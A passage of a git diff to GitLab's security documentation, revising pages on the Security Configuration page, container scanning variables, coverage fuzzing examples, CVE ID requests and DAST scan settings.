pipeline](../../../ci/pipelines/index.md) -to determine each feature's configuration state. If a job with the expected security report artifact -exists in the pipeline, the feature is considered enabled. +The Security Configuration page displays the configuration state of each security control in the +current project. -You can only enable SAST from the Security Configuration page. Documentation links are included for -the other features. For details about configuring SAST, see [Configure SAST in the UI](../sast/index.md#configure-sast-in-the-ui). +To view a project's security configuration, go to the project's home page, +then in the left sidebar go to **Security & Compliance > Configuration**. + +For each security control the page displays: + +- **Status** - Status of the security control: enabled, not enabled, or available. +- **Manage** - A management option or a link to the documentation. + +## Status + +The status of each security control is determined by the project's latest default branch +[CI pipeline](../../../ci/pipelines/index.md). +If a job with the expected security report artifact exists in the pipeline, the feature's status is +_enabled_. + +For SAST, click **View history** to see the `.gitlab-ci.yml` file’s history. NOTE: **Note:** If the latest pipeline used [Auto DevOps](../../../topics/autodevops/index.md), all security features are configured by default. -## View Security Configuration +## Manage -To view a project's security configuration: +You can configure the following security controls: -1. Go to the project's home page. -1. In the left sidebar, go to **Security & Configuration** > **Configuration**. +- Auto DevOps + - Click **Enable Auto DevOps** to enable it for the current project. For more details, see [Auto DevOps](../../../topics/autodevops/index.md). +- SAST + - Click either **Enable** or **Configure** to use SAST for the current project. For more details, see [Configure SAST in the UI](../sast/index.md#configure-sast-in-the-ui). +- DAST Profiles + - Click **Manage** to manage the available DAST profiles used for on-demand scans. For more details, see [DAST on-demand scans](../dast/index.md#on-demand-scans). diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index 6b7086ddc71..880e5a3875a 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -26,7 +26,7 @@ To integrate security scanners other than Clair and Klar into GitLab, see You can enable container scanning by doing one of the following: - [Include the CI job](#configuration) in your existing `.gitlab-ci.yml` file. -- Implicitly use [Auto Container Scanning](../../../topics/autodevops/stages.md#auto-container-scanning-ultimate) +- Implicitly use [Auto Container Scanning](../../../topics/autodevops/stages.md#auto-container-scanning) provided by [Auto DevOps](../../../topics/autodevops/index.md). GitLab compares the found vulnerabilities between the source and target branches, and shows the @@ -40,12 +40,12 @@ information directly in the merge request. ## Requirements -To enable Container Scanning in your pipeline, you need the following: +To enable container scanning in your pipeline, you need the following: -- [GitLab Runner](https://docs.gitlab.com/runner/) with the [Docker](https://docs.gitlab.com/runner/executors/docker.html) - or [Kubernetes](https://docs.gitlab.com/runner/install/kubernetes.html) executor. -- Docker `18.09.03` or higher installed on the same computer as the Runner. If you're using the - shared Runners on GitLab.com, then this is already the case. +- [GitLab Runner](https://docs.gitlab.com/runner/) with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) + or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. +- Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the + shared runners on GitLab.com, then this is already the case. - [Build and push](../../packages/container_registry/index.md#container-registry-examples-with-gitlab-cicd) your Docker image to your project's container registry. The name of the Docker image should use the following [predefined environment variables](../../../ci/variables/predefined_variables.md): @@ -72,7 +72,7 @@ To enable Container Scanning in your pipeline, you need the following: ## Configuration -How you enable Container Scanning depends on your GitLab version: +How you enable container scanning depends on your GitLab version: - GitLab 11.9 and later: [Include](../../../ci/yaml/README.md#includetemplate) the [`Container-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml) @@ -91,16 +91,16 @@ include: The included template: - Creates a `container_scanning` job in your CI/CD pipeline. -- Pulls the built Docker image from your project's [Container Registry](../../packages/container_registry/index.md) +- Pulls the built Docker image from your project's [container registry](../../packages/container_registry/index.md) (see [requirements](#requirements)) and scans it for possible vulnerabilities. GitLab saves the results as a -[Container Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscontainer_scanning-ultimate) +[Container Scanning report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscontainer_scanning) that you can download and analyze later. When downloading, you always receive the most-recent artifact. -The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the Container -Registry, and scans the containers: +The following is a sample `.gitlab-ci.yml` that builds your Docker image, pushes it to the container +registry, and scans the containers: ```yaml variables: @@ -127,7 +127,7 @@ include: - template: Container-Scanning.gitlab-ci.yml ``` -### Customizing the Container Scanning settings +### Customizing the container scanning settings There may be cases where you want to customize how GitLab scans your containers. For example, you may want to enable more verbose output from Clair or Klar, access a Docker registry that requires @@ -136,7 +136,7 @@ parameter in your `.gitlab-ci.yml` to set [environment variables](#available-var The environment variables you set in your `.gitlab-ci.yml` overwrite those in `Container-Scanning.gitlab-ci.yml`. -This example [includes](../../../ci/yaml/README.md#include) the Container Scanning template and +This example [includes](../../../ci/yaml/README.md#include) the container scanning template and enables verbose output from Clair by setting the `CLAIR_OUTPUT` environment variable to `High`: ```yaml @@ -153,30 +153,30 @@ variables: #### Available variables -Container Scanning can be [configured](#customizing-the-container-scanning-settings) -using environment variables. - -| Environment Variable | Default | Description | -| -------------------- | ----------- | ------- | -| `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. | -| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from klar. | -| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the clair server process. | -| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | -| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | -| `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are outputted. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical` and `Defcon1`. | -| `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | -| `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. | -| `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) is running on and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone Container Scanning Tool](#running-the-standalone-container-scanning-tool) section. | -| `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) database and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone Container Scanning Tool](#running-the-standalone-container-scanning-tool) section. The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. | -| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | -| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | -| `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerabilities database for an on-premise offline installation. | -| `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes. | -| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to be used for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project, so this variable should only be configured if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | -| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. | -| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | - -### Overriding the Container Scanning template +You can [configure](#customizing-the-container-scanning-settings) container +scanning by using the following environment variables: + +| Environment Variable | Default | Description | +| ------------------------------ | ------------- | ----------- | +| `ADDITIONAL_CA_CERT_BUNDLE` | `""` | Bundle of CA certs that you want to trust. | +| `CLAIR_DB_CONNECTION_STRING` | `postgresql://postgres:password@clair-vulnerabilities-db:5432/postgres?sslmode=disable&statement_timeout=60000` | This variable represents the [connection string](https://www.postgresql.org/docs/9.3/libpq-connect.html#AEN39692) to the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) database and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool) section. The host value for the connection string must match the [alias](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) value of the `Container-Scanning.gitlab-ci.yml` template file, which defaults to `clair-vulnerabilities-db`. | +| `CLAIR_DB_IMAGE` | `arminc/clair-db:latest` | The Docker image name and tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes, or to refer to a locally hosted vulnerabilities database for an on-premise offline installation. | +| `CLAIR_DB_IMAGE_TAG` | `latest` | (**DEPRECATED - use `CLAIR_DB_IMAGE` instead**) The Docker image tag for the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db). It can be useful to override this value with a specific version, for example, to provide a consistent set of vulnerabilities for integration testing purposes. | +| `CLAIR_OUTPUT` | `Unknown` | Severity level threshold. Vulnerabilities with severity level higher than or equal to this threshold are outputted. Supported levels are `Unknown`, `Negligible`, `Low`, `Medium`, `High`, `Critical` and `Defcon1`. | +| `CLAIR_TRACE` | `"false"` | Set to true to enable more verbose output from the clair server process. | +| `CLAIR_VULNERABILITIES_DB_URL` | `clair-vulnerabilities-db` | (**DEPRECATED - use `CLAIR_DB_CONNECTION_STRING` instead**) This variable is explicitly set in the [services section](https://gitlab.com/gitlab-org/gitlab/-/blob/898c5da43504eba87b749625da50098d345b60d6/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L23) of the `Container-Scanning.gitlab-ci.yml` file and defaults to `clair-vulnerabilities-db`. This value represents the address that the [PostgreSQL server hosting the vulnerabilities definitions](https://hub.docker.com/r/arminc/clair-db) is running on and **shouldn't be changed** unless you're running the image locally as described in the [Running the standalone container scanning tool](#running-the-standalone-container-scanning-tool) section. | +| `CI_APPLICATION_REPOSITORY` | `$CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG` | Docker repository URL for the image to be scanned. | +| `CI_APPLICATION_TAG` | `$CI_COMMIT_SHA` | Docker repository tag for the image to be scanned. | +| `DOCKER_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access secure Docker registries using HTTPS with bad (or self-signed) SSL certificates. | +| `DOCKER_PASSWORD` | `$CI_REGISTRY_PASSWORD` | Password for accessing a Docker registry requiring authentication. | +| `DOCKER_USER` | `$CI_REGISTRY_USER` | Username for accessing a Docker registry requiring authentication. | +| `DOCKERFILE_PATH` | `Dockerfile` | The path to the `Dockerfile` to be used for generating remediations. By default, the scanner looks for a file named `Dockerfile` in the root directory of the project, so this variable should only be configured if your `Dockerfile` is in a non-standard location, such as a subdirectory. See [Solutions for vulnerabilities](#solutions-for-vulnerabilities-auto-remediation) for more details. | +| `KLAR_TRACE` | `"false"` | Set to true to enable more verbose output from klar. | +| `REGISTRY_INSECURE` | `"false"` | Allow [Klar](https://github.com/optiopay/klar) to access insecure registries (HTTP only). Should only be set to `true` when testing the image locally. | +| `SECURE_ANALYZERS_PREFIX` | `"registry.gitlab.com/gitlab-org/security-products/analyzers"` | Set the Docker registry base address from which to download the analyzer. | +| `SECURE_LOG_LEVEL` | `info` | Set the minimum logging level. Messages of this logging level or higher are output. From highest to lowest severity, the logging levels are: `fatal`, `error`, `warn`, `info`, `debug`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. | + +### Overriding the container scanning template If you want to override the job definition (for example, to change properties like `variables`), you must declare a `container_scanning` job after the template inclusion, and then @@ -201,35 +201,35 @@ instead. To allowlist specific vulnerabilities, follow these steps: 1. Set `GIT_STRATEGY: fetch` in your `.gitlab-ci.yml` file by following the instructions in - [overriding the Container Scanning template](#overriding-the-container-scanning-template). + [overriding the container scanning template](#overriding-the-container-scanning-template). 1. Define the allowlisted vulnerabilities in a YAML file named `vulnerability-allowlist.yml`. This must use the format described in the [allowlist example file](https://gitlab.com/gitlab-org/security-products/analyzers/klar/-/raw/master/testdata/vulnerability-allowlist.yml). 1. Add the `vulnerability-allowlist.yml` file to your project's Git repository. -### Running Container Scanning in an offline environment +### Running container scanning in an offline environment For self-managed GitLab instances in an environment with limited, restricted, or intermittent access -to external resources through the internet, some adjustments are required for the Container Scanning job to +to external resources through the internet, some adjustments are required for the container scanning job to successfully run. For more information, see [Offline environments](../offline_deployments/index.md). -#### Requirements for offline Container Scanning +#### Requirements for offline container Scanning -To use Container Scanning in an offline environment, you need: +To use container scanning in an offline environment, you need: - GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). -- To configure a local Docker Container Registry with copies of the Container Scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar) images, found in the [Container Scanning container registry](https://gitlab.com/gitlab-org/security-products/analyzers/klar/container_registry). +- To configure a local Docker container registry with copies of the container scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar) images, found in the [container scanning container registry](https://gitlab.com/gitlab-org/security-products/analyzers/klar/container_registry). NOTE: **Note:** GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), -meaning the Runner tries to pull Docker images from the GitLab container registry even if a local -copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) +meaning the runner tries to pull Docker images from the GitLab container registry even if a local +copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we recommend keeping the pull policy setting to `always` if not in an offline environment, as this enables the use of updated scanners in your CI/CD pipelines. -#### Make GitLab Container Scanning analyzer images available inside your Docker registry +#### Make GitLab container scanning analyzer images available inside your Docker registry -For Container Scanning, import the following default images from `registry.gitlab.com` into your +For container scanning, import the following default images from `registry.gitlab.com` into your [local Docker container registry](../../packages/container_registry/index.md): ```plaintext @@ -249,7 +249,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc [`docker save`](https://docs.docker.com/engine/reference/commandline/save/), [`docker load`](https://docs.docker.com/engine/reference/commandline/load/), [`docker export`](https://docs.docker.com/engine/reference/commandline/export/), and [`docker import`](https://docs.docker.com/engine/reference/commandline/import/). -#### Set Container Scanning CI job variables to use local Container Scanner analyzers +#### Set container scanning CI job variables to use local container scanner analyzers 1. [Override the container scanning template](#overriding-the-container-scanning-template) in your `.gitlab-ci.yml` file to refer to the Docker images hosted on your local Docker container registry: @@ -267,10 +267,10 @@ For details on saving and transporting Docker images as a file, see Docker's doc self-signed certificate, then you must set `DOCKER_INSECURE: "true"` in the above `container_scanning` section of your `.gitlab-ci.yml`. -#### Automating Container Scanning vulnerability database updates with a pipeline +#### Automating container scanning vulnerability database updates with a pipeline It can be worthwhile to set up a [scheduled pipeline](../../../ci/pipelines/schedules.md) to -automatically build a new version of the vulnerabilities database on a preset schedule. Automating +build a new version of the vulnerabilities database on a preset schedule. Automating this with a pipeline means you won't have to do it manually each time. You can use the following `.gitlab-yml.ci` as a template: @@ -293,9 +293,9 @@ build_latest_vulnerabilities: The above template works for a GitLab Docker registry running on a local installation, however, if you're using a non-GitLab Docker registry, you'll need to change the `$CI_REGISTRY` value and the `docker login` credentials to match the details of your local registry. -## Running the standalone Container Scanning Tool +## Running the standalone container scanning tool -It's possible to run the [GitLab Container Scanning Tool](https://gitlab.com/gitlab-org/security-products/analyzers/klar) +It's possible to run the [GitLab container scanning tool](https://gitlab.com/gitlab-org/security-products/analyzers/klar) against a Docker container without needing to run it within the context of a CI job. To scan an image directly, follow these steps: @@ -329,10 +329,10 @@ The results are stored in `gl-container-scanning-report.json`. ## Reports JSON format -The Container Scanning tool emits a JSON report file. For more information, see the +The container scanning tool emits a JSON report file. For more information, see the [schema for this report](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/container-scanning-report-format.json). -Here's an example Container Scanning report: +Here's an example container scanning report: ```json-doc { @@ -401,7 +401,7 @@ For more information about the vulnerabilities database update, check the ## Interacting with the vulnerabilities -Once a vulnerability is found, you can [interact with it](../index.md#interacting-with-the-vulnerabilities). +After a vulnerability is found, you can [interact with it](../index.md#interacting-with-the-vulnerabilities). ## Solutions for vulnerabilities (auto-remediation) @@ -413,7 +413,7 @@ the [`DOCKERFILE_PATH`](#available-variables) environment variable. To ensure th has access to this file, it's necessary to set [`GIT_STRATEGY: fetch`](../../../ci/yaml/README.md#git-strategy) in your `.gitlab-ci.yml` file by following the instructions described in this document's -[overriding the Container Scanning template](#overriding-the-container-scanning-template) section. +[overriding the container scanning template](#overriding-the-container-scanning-template) section. Read more about the [solutions for vulnerabilities](../index.md#solutions-for-vulnerabilities-auto-remediation). @@ -421,8 +421,8 @@ Read more about the [solutions for vulnerabilities](../index.md#solutions-for-vu ### `docker: Error response from daemon: failed to copy xattrs` -When the GitLab Runner uses the Docker executor and NFS is used -(for example, `/var/lib/docker` is on an NFS mount), Container Scanning might fail with +When the runner uses the `docker` executor and NFS is used +(for example, `/var/lib/docker` is on an NFS mount), container scanning might fail with an error like the following: ```plaintext @@ -430,6 +430,6 @@ docker: Error response from daemon: failed to copy xattrs: failed to set xattr " ``` This is a result of a bug in Docker which is now [fixed](https://github.com/containerd/continuity/pull/138 "fs: add WithAllowXAttrErrors CopyOpt"). -To prevent the error, ensure the Docker version that the Runner is using is +To prevent the error, ensure the Docker version that the runner is using is `18.09.03` or higher. For more information, see [issue #10241](https://gitlab.com/gitlab-org/gitlab/-/issues/10241 "Investigate why Container Scanning is not working with NFS mounts"). diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index 1672e9fbb25..dff71cb9445 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -25,9 +25,11 @@ Docker image with the fuzz engine to run your app. | Language | Fuzzing Engine | Example | |----------|----------------|---------| -| C/C++ | [libFuzzer](https://llvm.org/docs/LibFuzzer.html) | [c-cpp-example](https://gitlab.com/gitlab-org/security-products/demos/c-cpp-fuzzing-example) | -| GoLang | [go-fuzz (libFuzzer support)](https://github.com/dvyukov/go-fuzz) | [go-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/go-fuzzing-example) | -| Rust | [cargo-fuzz (libFuzzer support)](https://github.com/rust-fuzz/cargo-fuzz) | | +| C/C++ | [libFuzzer](https://llvm.org/docs/LibFuzzer.html) | [c-cpp-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/c-cpp-fuzzing-example) | +| GoLang | [go-fuzz (libFuzzer support)](https://github.com/dvyukov/go-fuzz) | [go-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/go-fuzzing-example) | +| Swift | [libfuzzer](https://github.com/apple/swift/blob/master/docs/libFuzzerIntegration.md) | [swift-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/swift-fuzzing-example) | +| Rust | [cargo-fuzz (libFuzzer support)](https://github.com/rust-fuzz/cargo-fuzz) | [rust-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/rust-fuzzing-example) | +| Java | [JQF](https://github.com/rohanpadhye/JQF) | [java-fuzzing-example](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing/java-fuzzing-example) | ## Configuration diff --git a/doc/user/application_security/cve_id_request.md b/doc/user/application_security/cve_id_request.md new file mode 100644 index 00000000000..94cacf2882f --- /dev/null +++ b/doc/user/application_security/cve_id_request.md @@ -0,0 +1,69 @@ +--- +type: tutorial +stage: Secure +group: Vulnerability Research +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# CVE ID Requests + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com. + +As part of [GitLab's role as a CVE Numbering Authority](https://about.gitlab.com/security/cve) +([CNA](https://cve.mitre.org/cve/cna.html)), you may request +[CVE](https://cve.mitre.org/index.html) identifiers from GitLab to track +vulnerabilities found within your project. + +## Overview + +CVE identifiers track specific vulnerabilities within projects. Having a CVE assigned to a +vulnerability in your project helps your users stay secure and informed. For example, +[dependency scanning tools](../application_security/dependency_scanning/index.md) +can detect when vulnerable versions of your project are used as a dependency. + +## Conditions + +If the following conditions are met, a **Request CVE ID** button appears in your issue sidebar: + +- The project is hosted in GitLab.com. +- The project is public. +- You are a maintainer of the project. +- The issue is confidential. + +## Submitting a CVE ID Request + +Clicking the **Request CVE ID** button in the issue sidebar takes you to the new issue page for +[GitLab's CVE project](https://gitlab.com/gitlab-org/cves). + + + +Creating the confidential issue starts the CVE request process. + + + +You are required to fill in the issue description, which includes: + +- A description of the vulnerability +- The project's vendor and name +- Impacted versions +- Fixed versions +- The vulnerability type (a [CWE](https://cwe.mitre.org/data/index.html) identifier) +- A [CVSS v3 vector](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator) + +## CVE Assignment + +GitLab triages your submitted CVE ID request and communicates with you throughout the CVE validation +and assignment process. + + + +Once a CVE identifier is assigned, you may use and reference it as you see fit. + +Details of the vulnerability submitted in the CVE ID request are published according to your +schedule. It's common to request a CVE for an unpatched vulnerability, reference the assigned CVE +identifier in release notes, and later publish the vulnerability's details after the fix is +released. + +Separate communications notify you when different stages of the publication process are complete. + + diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index b2020d48d38..73a8e727389 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -26,7 +26,7 @@ If you're using [GitLab CI/CD](../../../ci/README.md), you can analyze your runn for known vulnerabilities using Dynamic Application Security Testing (DAST). You can take advantage of DAST by either [including the CI job](#configuration) in your existing `.gitlab-ci.yml` file or by implicitly using -[Auto DAST](../../../topics/autodevops/stages.md#auto-dast-ultimate), +[Auto DAST](../../../topics/autodevops/stages.md#auto-dast), provided by [Auto DevOps](../../../topics/autodevops/index.md). GitLab checks the DAST report, compares the found vulnerabilities between the source and target @@ -106,7 +106,7 @@ The included template creates a `dast` job in your CI/CD pipeline and scans your project's source code for possible vulnerabilities. The results are saved as a -[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast-ultimate) +[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast) that you can later download and analyze. Due to implementation limitations we always take the latest DAST artifact available. Behind the scenes, the [GitLab DAST Docker image](https://gitlab.com/gitlab-org/security-products/dast) @@ -177,13 +177,13 @@ include: variables: DAST_WEBSITE: https://example.com DAST_AUTH_URL: https://example.com/sign-in - DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form - DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form - DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between + DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form + DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form + DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between ``` The results are saved as a -[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast-ultimate) +[DAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsdast) that you can later download and analyze. Due to implementation limitations, we always take the latest DAST artifact available. @@ -206,6 +206,9 @@ variables: DAST_FULL_SCAN_ENABLED: "true" ``` +NOTE: **Note:** +If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/). + #### Domain validation The DAST job can be run anywhere, which means you can accidentally hit live web servers @@ -364,7 +367,7 @@ dast: DAST_API_SPECIFICATION: api-specification.yml ``` -#### Full scan +#### Full API scan API scans support full scanning, which can be enabled by using the `DAST_FULL_SCAN_ENABLED` environment variable. Domain validation is not supported for full API scans. @@ -395,7 +398,11 @@ variables: DAST_API_HOST_OVERRIDE: api-test.host.com ``` -Note that `DAST_API_HOST_OVERRIDE` is only applied to specifications imported by URL. +NOTE: **Note:** +Using a host override is ONLY supported when importing the API +specification from a URL. It does not work and will be ignored when importing +the specification from a file. This is due to a limitation in the ZAP OpenAPI +extension. #### Authentication using headers @@ -412,6 +419,31 @@ variables: DAST_REQUEST_HEADERS: "Authorization: Bearer my.token" ``` +### URL scan + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. + +A URL scan allows you to specify which parts of a website are scanned by DAST. + +#### Define the URLs to scan + +To specify the paths to be scanned, add a comma-separated list of the paths to the `DAST_PATHS` environment variable. Note that you can only scan paths of a single host. + +```yaml +include: + - template: DAST.gitlab-ci.yml + +variables: + DAST_PATHS=/page1.html,/category1/page1.html,/page3.html +``` + +NOTE: **Note:** +`DAST_AUTH_EXCLUDE_URLS` are ignored when `DAST_PATHS` is set. + +#### Full Scan + +To perform a [full scan](#full-scan) on the listed paths, use the `DAST_FULL_SCAN_ENABLED` environment variable. + ### Customizing the DAST settings CAUTION: **Deprecation:** @@ -451,12 +483,12 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia | `DAST_USERNAME_FIELD` | string | The name of username field at the sign-in HTML form. | | `DAST_PASSWORD_FIELD` | string | The name of password field at the sign-in HTML form. | | `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). | -| `DAST_AUTH_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated, no spaces in between. Not supported for API scans. | +| `DAST_AUTH_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | | `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | | `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` | | `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` | -| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Example: `example.com:8080` | -| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were supressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | +| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` | +| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | | `DAST_REQUEST_HEADERS` | string | Set to a comma-separated list of 